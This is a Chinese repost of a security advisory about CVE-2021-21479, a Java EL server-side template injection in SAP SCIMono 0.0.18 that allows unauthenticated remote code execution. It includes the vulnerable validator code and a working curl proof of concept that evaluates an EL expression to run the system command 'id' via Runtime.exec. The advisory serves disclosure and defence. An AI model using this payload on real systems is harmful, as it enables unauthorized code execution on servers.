点击上方蓝字“Ots安全”一起玩耍
协调披露时间表
-
2020-11-11:问题报告给 SAP 信任中心
-
2021-09-02:该问题已在0.0.19 版本中修复
-
2021-09-02:公共咨询
概括
在SCIMono 中发现了服务器端模板注入,攻击者可以利用该模板注入任意Java EL 表达式,从而导致未经身份验证的远程代码执行(RCE) 漏洞。
产品
SCIMono
测试版
0.0.18
细节
远程代码执行 - JavaEL 注入
通过注入任意 Java 表达式语言 (EL) 表达式,可以在运行SCIMono Server 的服务器上运行任意代码。
SCIMono 使用 Java Bean Validation (JSR 380) 自定义约束验证器,例如 SchemaIdValidator. 在构建自定义约束违反错误消息时,重要的是要了解它们支持不同类型的插值,包括Java EL 表达式。因此,如果攻击者可以在传递给 的错误消息模板中注入任意数据ConstraintValidatorContext.buildConstraintViolationWithTemplate(),他们将能够运行任意 Java 代码。不幸的是,经过验证(因此通常不受信任)的 bean 属性通常会流入自定义错误消息。SchemaIdValidator和其他自定义约束验证器验证自定义约束错误验证消息中包含的攻击者控制的字符串:
public class SchemaIdValidator implements ConstraintValidator<ValidSchemaId, String> {
private static final Pattern SCHEMA_NAME_ALLOWED_PATTERN = Pattern.compile("(^[a-zA-Z])(\w)+");
@Override
public boolean isValid(String schemaId, ConstraintValidatorContext context) {
return isValidSchemaId(schemaId, context) && isValidIdentifierName(schemaId, context);
}
private boolean isValidSchemaId(final String schemaId, ConstraintValidatorContext context) {
if (SchemasCallback.isCustomSchema(schemaId)) {
return true;
}
ValidationUtil.interpolateErrorMessage(context, generateViolationMessage(schemaId));
return false;
}
...
private String generateViolationMessage(String attributeName) {
return String.format("The attribute value "%s" has invalid value!", attributeName);
}
...
}
其中ValidationUtil.interpolateErrorMessage()定义为:
public static void interpolateErrorMessage(ConstraintValidatorContext context, String errorMessage) {
context.disableDefaultConstraintViolation();
context.buildConstraintViolationWithTemplate(errorMessage).addConstraintViolation();
}
概念验证
为了重现此漏洞,您可以使用以下步骤:
1、按照以下方式修改SCIMono示例服务器:1.1. 添加org.glassfish.jersey.ext:jersey-bean-validation依赖项,以便 Jersey 强制执行 Bean Validation 1.2。添加一个虚拟架构回调。例如:
import com.sap.scimono.callback.schemas.SchemasCallback;
import com.sap.scimono.entity.schema.Attribute;
import com.sap.scimono.entity.schema.Schema;
import javax.ws.rs.WebApplicationException;
import javax.ws.rs.core.Response;
import java.util.List;
public class Schemas implements SchemasCallback {
public Schemas() {
}
public Schema getCustomSchema(String schemaId) {
return null;
}
public void createCustomSchema(Schema schema) {
}
public List<Schema> getCustomSchemas() {
return null;
}
public void deleteCustomSchema(String schemaId) {
}
public boolean isValidSchemaName(String schemaName) {
return true;
}
public Attribute getAttribute(String path) {
return null;
}
}
将以下方法添加到SimpleServerApplication:
@Override
public SchemasCallback getSchemasCallback() {
return new Schemas();
}
2.使用不存在的 Id 强制 SchemaId 解析错误并添加表达式语言负载,例如 ${1+1}:
$> curl 'http://localhost:8080/scim/Schemas/$%7B1+1%7D'
响应将包含 EL 评估的结果:
[ {
"status" : "400",
"schemas" : [ "urn:ietf:params:scim:api:messages:2.0:Error" ],
"detail" : "The attribute value "2" has invalid value!"
} ]
您可以运行任意系统命令,例如id. 例如:
$> curl "http://localhost:8080/scim/Schemas/$%7B''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("id")')%7D"
这会让你:
[ {
"status" : "400",
"schemas" : [ "urn:ietf:params:scim:api:messages:2.0:Error" ],
"detail" : "The attribute value "java.lang.UNIXProcess@3b1d4c18" has invalid value!"
} ]
该java.lang.UNIXProcess部分证明该过程已运行。
影响
此问题导致远程代码执行
CVE
CVE-2021-21479
资源
https://github.com/SAP/scimono/security/advisories/GHSA-29q4-gxjq-rx5c
本文始发于微信公众号(Ots安全):【漏洞利用】GHSL-2020-227:服务器端模板注入导致 SCIMono 中未经身份验证的远程代码执行 - CVE-2021
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论